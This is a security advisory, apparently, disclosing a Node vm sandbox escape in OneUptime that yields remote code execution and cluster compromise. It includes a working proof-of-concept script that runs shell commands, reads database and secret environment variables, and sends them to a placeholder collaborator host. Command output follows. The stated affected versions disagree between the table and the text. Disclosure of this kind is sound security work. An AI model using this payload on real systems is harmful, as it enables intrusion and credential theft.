| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| oneuptime | < 10.0.18 | 10.0.18 |
| @oneuptime/common | < 10.0.18 | 10.0.18 |
OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.
The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():
const vmPromise = vm.runInContext(script, sandbox, { ... });
The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.
When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).
An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require child_process to execute arbitrary shell commands.
Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIME_SECRET, DATABASE_PASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.
This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.
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無料でサイトをスキャンreturn new Promise((resolve) => {
try {
// 1. Traverse the prototype chain to grab the host's process object
const proc = this.constructor.constructor('return process')();
// 2. Load the host's child_process module & run a system command
const cp = proc.mainModule.require('child_process');
const output = cp.execSync('ls -la /usr/src/app').toString();
// 3. (Optional) Read sensitive environment secrets
const secret = proc.env.ONEUPTIME_SECRET;
const db_pass = proc.env.DATABASE_PASSWORD;
// 4. Exfiltrate the data via the native `http` module
const http_real = proc.mainModule.require('http');
const req = http_real.request({
hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE',
port: 80,
path: '/',
method: 'POST'
}, (res) => {
resolve("EXFILTRATION_STATUS: " + res.statusCode);
});
req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message));
const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });
req.write(payloadData);
req.end();
} catch(e) {
resolve("CRITICAL_ERROR: " + e.message);
}
});
OUTPUT:
{"rce_output":"total 296\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 node_modules\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\n"}
What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.
Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.